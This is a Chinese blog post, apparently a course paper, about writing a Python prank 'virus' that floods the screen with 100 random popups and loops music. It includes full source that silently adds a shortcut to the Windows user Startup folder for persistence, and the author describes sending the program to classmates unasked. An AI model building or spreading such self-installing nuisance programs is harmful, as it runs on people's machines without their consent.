可达鸭说:好好学习,天天向上~~

 

b2a5f134fe4f4bafbe6699e5827b38b0.png  先偷偷的告诉大家:这个其实是我的一个课的结课论文,不知道大家能不能猜出来是什么课?6326890b6efb4b8583a3c0364b6c5e62.gif 

 

 效果如下:

可达鸭说:好好学习,天天向上!

7ce75fa4d6d9409db2866f5145979aa6.png程序下载地址26fbd6839d4b444789398a9c77050e79.png可达鸭说:好好学习,天天向上!

 

e7f418a52ce04709b980e1046373fee3.png摘要

计算机病毒是计算机犯罪的一种新的衍化形式 计算机病毒是高技术犯罪, 具有瞬时性、动态性和随机性。不易取证, 风险小破坏大, 从而刺激了犯罪意识和犯罪活动。是某些人恶作剧和报复心态在计算机应用领域的表现。
  计算机是电子产品。数据从输入、存储、处理、输出等环节, 易误入、篡改、丢失、作假和破坏;程序易被删除、改写;计算机软件设计的手工方式, 效率低下且生产周期长;人们至今没有办法事先了解一个程序有没有错误, 只能在运行中发现、修改错误, 并不知道还有多少错误和缺陷隐藏在其中。这些脆弱性就为病毒的侵入提供了方便。

因此,为了防止病毒入侵,我们就得先搞清楚它们入侵的方法和原理,只有搞清楚了这些我们才有机会“对症下药”,所以对于病毒的研究是非常有意义的。

论文以一个简单的病毒的开发为例,对一个病毒的产生到使用进行了深入的分析,介绍了一个病毒产生的各个环节,以及各个环节的功能和目的,并且在开发过程中,对其进行了一步一步的迭代,使得对病毒有了更深层次的理解。

 

b2a5f134fe4f4bafbe6699e5827b38b0.png背景

在这门课的伊始,老师在讲到病毒时,就讲到了一个比较简单的病毒,大概就是这样的:当打开这个病毒时,不管点击多少次关闭(当然这里是在正常人能接受的点击次数之内,不会真的是无限次),它都始终关闭不了,老师也给我们讲了其中的原因,就是:其实在每次点击的时候,当时的那个窗口确实关闭了,只是后面还有很多和它一样的窗口在相同的位置,所以给我们的感受就是好像点击了无效,怀着好奇心,于是当天就自己写了一个这样的小程序,并且利用python中的tkinter模块也很快就写出来了,当天也立马发给了一些同学,他们也都中了我的“圈套”;后来在写实验报告的时候,学习到了windows的注册表,了解到注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用,结合注册表,于是后来又想到能不能让这个病毒开机自启,这样也许会更有意思,结合所学的内容以及网上查找资料,最后得知开机自启很简单:只需要在系统启动目录下添加一个程序运行的软链接即可,最后总算是完成了这个简单的小病毒。

25c74fdd81c24daabd6ea1bc40405490.png开发步骤

 

 

  1. 编写弹窗d8f14684dc864c76922ac3062db2bb33.png

 

考虑到程序的趣味性,我没有将所有的窗口都放到同一个位置,而是将它们随机的分布在窗口的各个位置,同时每个窗口的背景颜色和内容也是随机的,为了实现这一点,我提前列出了所有的可能出现的背景颜色和文本内容(文本内容是在网上找到的一些关于学习的搞笑段子,所以我给这个病毒取了一个名字叫“劝学”)。

1d83de401dba414e827b64656f735e53.png

6c7db3042faf43509fbb01df5eea3c6d.png

 

弹窗的核心代码:

# 弹窗
def boom():
    window = Tk()
    window.wm_attributes('-topmost', 1)  # 让弹出的窗口显示在最顶层
    width = window.winfo_screenwidth() - 200  # 屏幕的宽度
    height = window.winfo_screenheight() - 80  # 屏幕的高度
    a = randrange(0, width)
    b = randrange(0, height)
    window.title('~劝学~')
    text = choice(contents)
    color = choice(colors)
    label_width = len(text) * 21
    window.geometry(f"{label_width}x50" + "+" + str(a) + "+" + str(b))
    Label(window, text=text, bg=color,font=('宋体', 15), width=label_width, height=4).pack()
    window.mainloop()

代码解释:新建一个窗口,窗口的位置是随机的,但是会限制在屏幕内,之后再为在这个窗口上添加一个Label,Label的背景颜色和内容通过choice方法随机选取,同时窗口的宽度是有文本内容决定的,经过几次的手动调试后,发现将窗口宽度设为文本宽度的21倍比较合适,这样,一个弹窗就完成了。

 

  1. 背景音乐403d1aa7ea864edcb394a9dcbc4c5fab.png

 

在做完弹窗功能后发现,如果仅仅是安安静静的弹出一些窗口,实在显得有一些单调,于是就想着得增加一个背景音乐来增加一些气氛感。

它的实现也很简单,只需要3行代码就可以搞定:

# 播放背景音乐
def playmusic():
    while True:
        playsound('bg.mp3')

代码解释:只要程序没后被挂掉,就让它一直循环播放背景音乐。

 

  1. 开机自启5466170abf544880ad9faf840f65e65a.png

 

首先,一个程序能开机自启,就说明,系统在启动的时候,除了启动系统的核心程序外,同时也启动你的这个程序,但是,不管是系统的核心程序还是我们自己写的程序,它们都属于程序,所以,我们只需要将系统启动核心程序的方法添加到我们的程序上就可以了。

因此,我们应该搞清楚系统在开机时是如何知道要启动哪些程序,通过查资料得知,windows在启动时,会同时启动C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup目录下的所有程序,因此,原理上我们只需要将程序的启动快捷键放到这里,我们的程序就会开机自启,但是这个目录是手window是保护的,需要管理员身份才能对齐进行修改,于是果断放弃;后来发现windows对于不同的用户会有不同的启动目录(用户目录:C:Users用户名AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup),并且用户的这个启动目录不需要管理员身份就能对齐进行修改,所以根据这特性,编写了如下程序:

# 开机自启boot
def set_shortcut():
    try:
        filename = argv[0]
        user = getuser()
        lnkname = join('C:\', 'Users', user, 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs',
                       'Startup', 'surprise.exe.lnk')
        print(lnkname)
        shortcut = CoCreateInstance(
            shell.CLSID_ShellLink, None,
            CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
        shortcut.SetPath(filename)
        shortcut.SetWorkingDirectory(dirname(realpath(argv[0])))
        if splitext(lnkname)[-1] != '.lnk':
            lnkname += ".lnk"
        shortcut.QueryInterface(IID_IPersistFile).Save(lnkname, 0)
    except Exception as e:
        print(e.args)

代码解释:为软件创建一个软链接,同时将它写入到用户的启动目录下。

 

  1. 使用多线程8dd618070d46429c8cfde60f25ae9f94.png

 

因为弹窗有很多个,同时在弹窗的同时也要播放背景音乐,所以宏观上来看,这些行为都是同时执行的,因此必须用到并发,具体代码如下:

# 背景音乐
Thread(target=playmusic, daemon=True).start()
for i in range(100):
    t = Thread(target=boom)
    sleep(0.5)
    t.start()

使用并发后就能在显示多个窗口的同时播放音乐了:

034177949276485b984a3afe6f520e7c.png

 

 

5.打包程序2fccdf87407e4b479113162cf14c7fa1.png

 

以上的运行都是在python环境下执行的,为了然后没有python环境的系统也能运行就必须得将代码打包成可执行文件,去掉对python环境的依赖,我这里用到的打包工具是pyinstaller,使用也很简单:

打包命令:pyinstaller -F -w surprise.py -i gift.ico

960fbd3e4a1146559cf4c935a3b2eb7a.png

 

 

双击启动程序后,就会在用户的启动目录下建立一个程序的软链接,同时在当前目录下会生成一个MP3文件(背景音乐)和一个gif(弹出动图用)文件:

cb27688e94ea4e1ca363bd06fff48e53.png

eee56c001e2947248e776fe39f4eac67.png自我评价

 

这个项目虽然看起来不是很大,但是包含的内容却很丰富,比如:GUI编程,多线程,文件操作等等都用到了;同时在开发过程中,也遇到过比较棘手的问题,就比如在程序启动后,为什么会在目录下生成一个mp3和一个gif文件,拿播放背景音乐来说,一个程序,你去下载它,但是因为它有背景音乐,需要额外的下载,这时你肯定不愿意再去额外的下载,所以为了解决所有的东西都打包到一个文件中,我将背景音乐提前读取出来,然后将其以字符串的形式保存在一个变量当中,在程序运行的时候,将其反解码为二进制数据写入文件,之后背景音乐就可以正常的播放了;同时在写完之后,发现这个程序也有不足的地方:既然是一个病毒,那么就应该不那么轻易的被消灭掉,但是我这个病毒,只要你删除了它的源文件,它就不会开机自启了,所以对于病毒来说,这是一个不足的地方;不过呢,从最初的一个想法,到只有弹窗,然后到有背景音乐,然后是有了开机自启,最后的版本还有一个结束小动画,这一步步的迭代过程,也说明了它是在不断的完善中的,这也验证了一句话:好的项目不是一蹴而就的,而是一步一步迭代后产生的。

源码:

 

from base64 import b64decode
from sys import argv
from time import sleep
from random import choice, randrange
from threading import Thread
from tkinter import Tk, Label
from pythoncom import CoCreateInstance, CLSCTX_INPROC_SERVER, IID_IPersistFile
from playsound import playsound
from win32comext.shell import shell
from os.path import join, splitext, dirname, realpath
from getpass import getuser
from pyglet.app import run
from pyglet.sprite import Sprite
from pyglet.window import Window
from pyglet.image import load_animation
from res2 import bg_music
from res3 import end_gif

colors = ['#DC143C', '#FFF0F5', '#DB7093', '#FF69B4', '#FF1493', '#C71585', '#DA70D6', '#D8BFD8', '#DDA0DD',
          '#EE82EE', '#FF00FF', '#FF00FF', '#8B008B', '#800080', '#BA55D3', '#9400D3', '#9932CC', '#4B0082',
          '#8A2BE2', '#9370DB', '#7B68EE', '#6A5ACD', '#483D8B', '#E6E6FA', '#F8F8FF', '#0000FF', '#0000CD',
          '#191970', '#00008B', '#000080', '#4169E1', '#6495ED', '#B0C4DE', '#778899', '#708090', '#1E90FF',
          '#F0F8FF', '#4682B4', '#87CEFA', '#87CEEB', '#00BFFF', '#ADD8E6', '#B0E0E6', '#5F9EA0', '#F0FFFF',
          '#E0FFFF', '#AFEEEE', '#00FFFF', '#00FFFF', '#00CED1', '#2F4F4F', '#008B8B', '#008080', '#48D1CC',
          '#20B2AA', '#40E0D0', '#7FFFD4', '#66CDAA', '#00FA9A', '#F5FFFA', '#00FF7F', '#3CB371', '#2E8B57',
          '#F0FFF0', '#90EE90', '#98FB98', '#8FBC8F', '#32CD32', '#00FF00', '#228B22', '#008000', '#006400',
          '#7FFF00', '#7CFC00', '#ADFF2F', '#556B2F', '#9ACD32', '#6B8E23', '#F5F5DC', '#FAFAD2', '#FFFFF0',
          '#FFFFE0', '#FFFF00', '#808000', '#BDB76B', '#FFFACD', '#EEE8AA', '#F0E68C', '#FFD700', '#FFF8DC',
          '#DAA520', '#B8860B', '#FFFAF0', '#FDF5E6', '#F5DEB3', '#FFE4B5', '#FFA500', '#FFEFD5', '#FFEBCD',
          '#FFDEAD', '#FAEBD7', '#D2B48C', '#DEB887', '#FFE4C4', '#FF8C00', '#FAF0E6', '#CD853F', '#FFDAB9',
          '#F4A460', '#D2691E', '#8B4513', '#FFF5EE', '#A0522D', '#FFA07A', '#FF7F50', '#FF4500', '#E9967A',
          '#FF6347', '#FFE4E1', '#FA8072', '#FFFAFA', '#F08080', '#BC8F8F', '#CD5C5C', '#FF0000', '#A52A2A',
          '#B22222', '#8B0000', '#800000', '#FFFFFF', '#F5F5F5', '#DCDCDC', '#D3D3D3', '#C0C0C0', '#A9A9A9',
          '#808080', '#696969', '#000000']
contents = ['立志宜思真品格,读书须尽苦功夫。', '治学有三大原则:广见闻,多阅读,勤实验。', '黑发不知勤学早,白发方悔读书迟。', '正确的道路是这样:吸取你的前辈所做的一切,然后再往前走。',
            '韬略终须建新国,奋发还得读良书。', '旧书不厌百回读,熟读精思子自知。', '非学无以广才,非志无以成学。', '读书不趁早,后来徒悔懊。', '鸟欲高飞先振翅,人求上进先读书。',
            '莫等闲,白了少年头,空悲切。', '如果把生活比喻为创作的意境,那么阅读就像阳光。', '三人行,必有我师也。择其善者而从之,其不善者而改之。', '学而时习之,不亦说乎?', '好好学习,天天向上。',
            '人的知识愈广,人的本身也愈臻完善。', '与肝胆人共事,无字句处读书。', '无限相信书籍的力量,是我的教育信仰的真谛之一。', '千教万教教人求真,千学万学学做真人。', '富贵必从勤苦得,男儿须读五车书。',
            '少壮不努力,老大徒伤悲。', '业精于勤,荒于嬉;行成于思,毁于随。', '求学将以致用;读书先在虚心。', '学习知识要善于思考,思考,再思考。', '敏而好学,不耻下问。',
            '科学研究好象钻木板,有人喜欢钻薄的;而我喜欢钻厚的。', '情况是在不断的变化,要使自己的思想适应新的情况,就得学习。', '任何倏忽的灵感事实上不能代替长期的功夫。',
            '愚昧从来没有给人带来幸福;幸福的根源在于知识。', '你应该小心一切假知识,它比无知更危险。', '古今来许多世家,无非积德。天地间第一人品,还是读书。', '路漫漫其修道远,吾将上下而求索。',
            '通往成功的路,总是在施工中。', '对着电脑唱忐忑,唱完后,死机了。', '在网吧,一同学突然举手,大喊:“老师!”', '不知道自己无知,乃是双倍的无知。', '学而不思则罔,思而不学则殆。',
            '非淡泊无以明志,非宁静无以致远。', '饭可以一日不吃,觉可以一日不睡,书不可以一日不读。', '青年是学习智慧的时期,中年是付诸实践的时期。', '非静无以成学。',
            '考试你真坏!伤了我的`心不说,还伤我爸妈的心。', '考试不及格不是我的错', '数学好难啊,求求老天,开开恩吧,我八辈祖宗谢谢你!', '每次考完试我都安慰自己“没关系',
            '我已怒挂一科,瞬间感到自己的大学终于完整了!', '学习吧,钱没了;不学吧,前途没了。', '空有一颗要努力学习的心,却偏偏生得挂科的命!', '逃课,是一个人的狂欢,上课,是一群人的孤单。',
            '人家条条大路通罗马,姐我条条楼梯通考场!', '据说,试卷发下来一定要先吻一下,这叫“稳过”。', '如果考试用QB做奖励,我想中国很快就会强大起来的。', '上课就犯困,下课就犯多动症。',
            '学习伤我千百遍,我却待他如初恋!', '上课盼下课,上学盼放假,我的目标一直都很执着。', '学校啊!你虽然得到了我的人,可是却得不到我的心。', '不要让我挂科嘛,这次考试很重要的啦!',
            '从小到大,唯一不变的就是那颗不爱读书的心。']


# 播放背景音乐
def playmusic():
    while True:
        playsound('bg.mp3')


# 弹窗
def boom():
    window = Tk()
    window.wm_attributes('-topmost', 1)  # 让弹出的窗口显示在最顶层
    width = window.winfo_screenwidth() - 200  # 屏幕的宽度
    height = window.winfo_screenheight() - 80  # 屏幕的高度
    a = randrange(0, width)
    b = randrange(0, height)
    window.title('~劝学~')

    text = choice(contents)
    color = choice(colors)
    label_width = len(text) * 21
    window.geometry(f"{label_width}x50" + "+" + str(a) + "+" + str(b))
    Label(window, text=text, bg=color, font=('宋体', 15), width=label_width, height=4).pack()
    window.mainloop()


def last():
    window = Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()

    animation = load_animation('end.gif')
    sprite = Sprite(animation)
    # 376 228 #放大
    sprite.scale_x = width / 376
    sprite.scale_y = height / 228

    # 创建一个窗口并将其设置为图像大小
    win = Window(width=width, height=height,fullscreen=True)

    @win.event
    def on_draw():
        win.clear()
        sprite.draw()

    run()


# 开机自启boot
def set_shortcut():
    try:
        filename = argv[0]
        user = getuser()
        lnkname = join('C:\', 'Users', user, 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs',
                       'Startup', 'surprise.exe.lnk')
        print(lnkname)
        shortcut = CoCreateInstance(
            shell.CLSID_ShellLink, None,
            CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
        shortcut.SetPath(filename)

        shortcut.SetWorkingDirectory(dirname(realpath(argv[0])))
        if splitext(lnkname)[-1] != '.lnk':
            lnkname += ".lnk"
        shortcut.QueryInterface(IID_IPersistFile).Save(lnkname, 0)
    except Exception as e:
        print(e.args)


if __name__ == '__main__':
    # 将音乐写入一个临时文件
    with open('bg.mp3', 'wb+') as f:
        f.write(b64decode(bg_music))
    # 写入背景图片
    with open('end.gif', 'wb+') as f:
        f.write(b64decode(end_gif))

    # 开机自启
    set_shortcut()

    # 背景音乐
    Thread(target=playmusic, daemon=True).start()

    for i in range(100):
        t = Thread(target=boom)
        sleep(0.5)
        t.start()

    last()

同步更新于个人博客系统:可达鸭说:好好学习,天天向上!

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值